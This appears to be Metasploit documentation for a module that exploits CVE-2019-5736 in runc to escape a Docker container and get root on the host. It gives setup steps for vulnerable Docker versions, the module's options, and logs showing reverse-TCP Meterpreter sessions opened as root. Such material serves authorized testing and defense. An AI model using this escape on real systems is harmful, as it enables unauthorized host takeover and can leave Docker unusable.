## Vulnerable Application

### Description

This module leverages a flaw in `runc` to escape a Docker container and get
command execution on the host as root. This vulnerability is identified as
CVE-2019-5736. It overwrites the `runc` binary with the payload and wait for
someone to use `docker exec` to get into the container. This will trigger the
payload execution. Note that a valid session as the root user inside the
container is needed.

**WARNING**: Executing this exploit carries important risks regarding the
Docker installation integrity on the target and inside the container (see [Side
Effects](#side-effects) section).

`runc` has been [fixed][1] in version [`1.0-rc7`][2] and included in Docker
version [`18.09.2`][3].

This module has been successfully tested on Ubuntu 18.04.5 x64 and Fedora 28
x64. However, it doesn't seem to work on CentOS 7 x64. Also, it looks like the
exploit is more reliable on Fedora than Ubuntu.

### Installation


#### Ubuntu 18.04.5 x64 with Docker version 18.03.1
```
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
apt-get update
apt-get install docker-ce=18.03.1~ce~3-0~ubuntu
```

#### Fedora 28 x64 with Docker version 18.03.1
```
dnf remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-selinux docker-engine-selinux docker-engine
dnf -y install dnf-plugins-core
dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo
dnf -y install docker-ce-18.03.1.ce-3.fc28
```

### Side Effects

#### runc
The host `runc` binary will be overwritten during exploitation. The module
takes care of making a backup before the overwrite and restoring it when the new
session is established. However, it might not work as expected and something
could go wrong during the exploitation, which might prevent the session being
created. In this case, `runc` won't be restored and the host will no longer
be able to run Docker containers. This process will need to be done manually
somehow by following the instruction displayed during the module execution:
```
cp <path to docker-runc backup> <path to docker-runc>
```

#### shell
The shell binary inside the container (set by the `OVERWRITE` option) will also
be overwritten. However, the module makes a backup prior to the overwrite and
restores it automatically. This process is relatively safe, but something can
still go wrong along the way. Again, this will need to be done manually, using
the information displayed during the module execution:
```
cp <path to the shell binary backup> <path to the shell binary>
```

## Verification Steps
1. Install Docker (see [Installation](#installation))
1. Start msfconsole
1. Get a session as root inside a Docker container
1. Do: `use linux/local/docker_runc_escape`
1. Do: `set LHOST <ip>`
1. Do: `set LPORT <port>`
1. Do: `set session <session nb>`
1. Do: `run`
1. On the host target, run `docker exec -ti <container_id> /bin/sh`
1. You should get a Meterpreter session.
1. Verify you escaped the Docker container
1. Verify `WRITABLEDIR` on the host is empty (cleanup successful)
1. Verify `docker-runc` has been restored by running `docker-runc --version`

## Options

### OVERWRITE

The shell that is going to be overwritten with `#!/proc/self/exe`. This will be
triggered by a user running `docker exec -ti <container_id> <overwritten
shell>`. Default is `/bin/sh`.

### SHELL

The shell the module will use in scripts (must be different than `OVERWRITE`
shell). During the execution, some shell script have to be executed in the
Docker container. Since the main `OVERWRITE` shell has been overwritten,
another shell must be used. Default is `/bin/bash`.

### WRITABLEDIR

A directory where you can write files. Default is `/tmp`.

## Scenarios

## Docker version 18.03.1-ce (build 9ee9f40) on Ubuntu 18.04.5 LTS
```
msf exploit(linux/local/docker_runc_escape) > options

Module options (exploit/linux/local/docker_runc_escape):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   OVERWRITE    /bin/sh          yes       Shell to overwrite with /proc/self/exe
   SESSION      1                yes       The session to run this module on.
   SHELL        /bin/bash        yes       Shell to use in exploit script (must be different than OVERWRITE shell)
   WRITABLEDIR  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.144.1    yes       The listen address (an interface may be specified)
   LPORT  4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (Dropper) x64


msf exploit(linux/local/docker_runc_escape) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.144.1:4455
[*] Make a backup of /bin/sh (/tmp/wSCJRb1)
[*] Overwrite /bin/sh
[*] Upload payload
[*] Writing '/tmp/pMQAa0FYW' (250 bytes) ...
[*] Upload exploit
[*] Writing '/tmp/IP8LtTm7' (8672 bytes) ...
[*] Upload loop shell script ('runc' will be backed up to /tmp/MKM9z)
[*] Writing '/tmp/k41AYY' (344 bytes) ...
[*] Launch exploit loop and wait for 300 sec.
[*] Sending stage (3012548 bytes) to 192.168.144.135
[+] Deleted /tmp/pMQAa0FYW
[+] Deleted /tmp/IP8LtTm7
[+] Deleted /tmp/k41AYY
[+] Original runc binary restored
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.135:51916) at 2021-05-21 19:01:03 +0200
[*] Done. Waiting a bit more to make sure everything is setup...
[+] Session ready!

meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 192.168.144.135
OS           : Ubuntu 18.04 (Linux 5.4.0-72-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > [*] Shutting down Meterpreter...
```

## Docker version 18.03.1-ce (build 9ee9f40) on Fedora 28 x64
```
msf exploit(linux/local/docker_runc_escape) > options

Module options (exploit/linux/local/docker_runc_escape):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   OVERWRITE    /bin/sh          yes       Shell to overwrite with /proc/self/exe
   SESSION      1                yes       The session to run this module on.
   SHELL        /bin/bash        yes       Shell to use in exploit script (must be different than OVERWRITE shell)
   WRITABLEDIR  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.144.1    yes       The listen address (an interface may be specified)
   LPORT  4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (Dropper) x64


msf exploit(linux/local/docker_runc_escape) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.144.1:4455
[*] Make a backup of /bin/sh (/tmp/VHR0jdR8V)
[*] Overwrite /bin/sh
[*] Upload payload
[*] Writing '/tmp/jPfX1LCnzb' (250 bytes) ...
[*] Upload exploit
[*] Writing '/tmp/aI0aDmv91K' (8744 bytes) ...
[*] Upload loop shell script ('runc' will be backed up to /tmp/IevTLfZ)
[*] Writing '/tmp/Rba74' (351 bytes) ...
[*] Launch exploit loop and wait for 300 sec.
[*] Sending stage (3012548 bytes) to 192.168.144.219
[+] Deleted /tmp/jPfX1LCnzb
[+] Deleted /tmp/aI0aDmv91K
[+] Deleted /tmp/Rba74
[+] Original runc binary restored
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.219:60124) at 2021-05-21 18:34:46 +0200
[*] Done. Waiting a bit more to make sure everything is setup...
[+] Session ready!

meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Fedora 28 (Linux 5.0.16-100.fc28.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > [*] Shutting down Meterpreter...
```


[1]: https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc7
[2]: https://github.com/opencontainers/runc/commit/6635b4f0c6af3810594d2770f662f34ddc15b40d
[3]: https://github.com/docker/docker-ce/releases/tag/v18.09.2
